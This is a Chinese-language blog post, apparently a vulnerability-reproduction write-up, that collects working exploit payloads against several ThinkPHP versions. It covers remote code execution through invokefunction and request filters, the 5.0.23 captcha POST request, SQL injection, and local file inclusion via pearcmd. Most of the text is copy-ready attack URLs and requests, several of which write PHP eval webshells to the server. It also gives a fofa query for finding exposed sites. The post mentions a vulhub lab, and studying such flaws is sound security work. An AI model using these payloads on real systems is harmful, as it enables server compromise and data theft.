thinkphp漏洞复现

thinkphp漏洞复现

    • [ThinkPHP 2.x 任意代码执行漏洞](#ThinkPHP 2.x 任意代码执行漏洞)
    • [Thinkphp5 5.0.22/5.1.29 远程代码执行](#Thinkphp5 5.0.22/5.1.29 远程代码执行)
    • [ThinkPHP5 5.0.23 远程代码执行](#ThinkPHP5 5.0.23 远程代码执行)
    • [ThinkPHP5 SQL Injection Vulnerability && Sensitive Information Disclosure Vulnerability](#ThinkPHP5 SQL Injection Vulnerability && Sensitive Information Disclosure Vulnerability)
    • [ThinkPHP Lang Local File Inclusion](#ThinkPHP Lang Local File Inclusion)

ThinkPHP 2.x 任意代码执行漏洞

1、ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由,导致代码执行

php 复制代码
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

2、抓包或者使用插件查看一下有没有php的版本号,上面有介绍过,那个命令执行的触发条件<=php5.6.29

3、漏洞利用

payload:

复制代码
http://xx.xx.xx.xx:8080/index.php?s=/index/index/xxx/${@phpinfo()}
http://xx.xx.xx.xx:8080/index.php?s=/Index/index/xxx/${@print(eval($_POST[1]))}  可以直接菜刀连接

Thinkphp5 5.0.22/5.1.29 远程代码执行

参考
https://xz.aliyun.com/t/3570
https://www.cnblogs.com/miansj/p/14639276.html

1、payload

php 复制代码
http://xx.xx.xx.xx:xx/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

2、大佬通杀payload

php 复制代码
两个通杀payload

版本号:5.0.8~5.0.19
payload:s=whoami&_method=__construct&filter&filter=system
​
版本号:5.0.20~5.0.23
payload:_method=__construct&filter[]=system&method=get&server[REQUSET_METHOD]=whoami
​

5.1.x php版本>5.5:

http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert
​
http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
​
http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>
​

5.0.x php版本>=5.4:

exp0 = '/index.php/?s=index/\\think\\template\driver\\file/write&cacheFile=zxc0.php&content=<?php @eval($_POST[xxxxxx]);?>'
​
exp1 = '/index.php/?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=<?php @eval($_POST[xxxxxx]);?>'
​
exp2 = '/index.php/?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo \'<?php @eval($_POST[xxxxxx]);?>\'>zxc2.php'
​

pay

http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
​
http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
​
http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1
​
http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=操作系统命令
​
http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
​
http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
​
http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令
​
http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
​

5.1.x php版本>5.5

http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert
​
http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
​
http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>
​

写shell:

?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo \'<?php @eval($_POST[xxxxxx]);?>\'>zxc2.php'
​
?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=<?php @eval($_POST[xxxxxx]);?>

ThinkPHP5 5.0.23 远程代码执行

payload

复制代码
POST /index.php?s=captcha HTTP/1.1
Host: xxxxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: */*
Accept-Language: en
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

ThinkPHP5 SQL Injection Vulnerability && Sensitive Information Disclosure Vulnerability

1、该漏洞形成最关键的一点是需要开启debug模式,而Tp官方最新的版本5.0.9默认依旧是开放着调试模式

2、SQL信息泄露

复制代码
payload:?ids[0'\]=1

3、SQL注入漏洞

复制代码
payload:?ids[0,updatexml(0,concat(0x7e,user(),0x7e),0)]=1

ThinkPHP Lang Local File Inclusion

https://www.freebuf.com/vuls/352360.html

php 复制代码
fofa header="think_lang"
php 复制代码
payload: /?lang=../../../../../public/index 回复500说明漏洞存在
写入shell /index.php?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo();?>+shell.php

环境直接使用vulhub搭建

相关推荐
大咖分享课21 分钟前
容器安全最佳实践:云原生环境下的零信任架构实施
安全·云原生·架构
淡水猫.1 小时前
ApacheSuperset CVE-2023-27524
安全·web安全
恰薯条的屑海鸥2 小时前
零基础在实践中学习网络安全-皮卡丘靶场(第九期-Unsafe Fileupload模块)(yakit方式)
网络·学习·安全·web安全·渗透测试·csrf·网络安全学习
Bruce_Liuxiaowei2 小时前
Web安全深度解析:源码泄漏与未授权访问漏洞全指南
安全·web安全
代码搬运媛2 小时前
React 中 HTML 插入的全场景实践与安全指南
安全·react.js·html
CRMEB定制开发3 小时前
CRMEB 中 PHP 快递查询扩展实现:涵盖一号通、阿里云、腾讯云
阿里云·php·腾讯云·商城系统·商城源码
CRMEB定制开发3 小时前
PHP 打印扩展开发:从易联云到小鹅通的多驱动集成实践
php·小程序源码·商城源码·微信商城·php商城源码
Bruce_Liuxiaowei3 小时前
PHP文件包含漏洞详解:原理、利用与防御
开发语言·网络安全·php·文件包含
2501_915106324 小时前
Flutter、React Native 项目如何搞定 iOS 上架?从构建 IPA 到上传 App Store 的实战流程全解析
websocket·网络协议·tcp/ip·http·网络安全·https·udp
珹洺5 小时前
数据库系统概论(十七)超详细讲解数据库规范化与五大范式(从函数依赖到多值依赖,再到五大范式,附带例题,表格,知识图谱对比带你一步步掌握)
java·数据库·sql·安全·oracle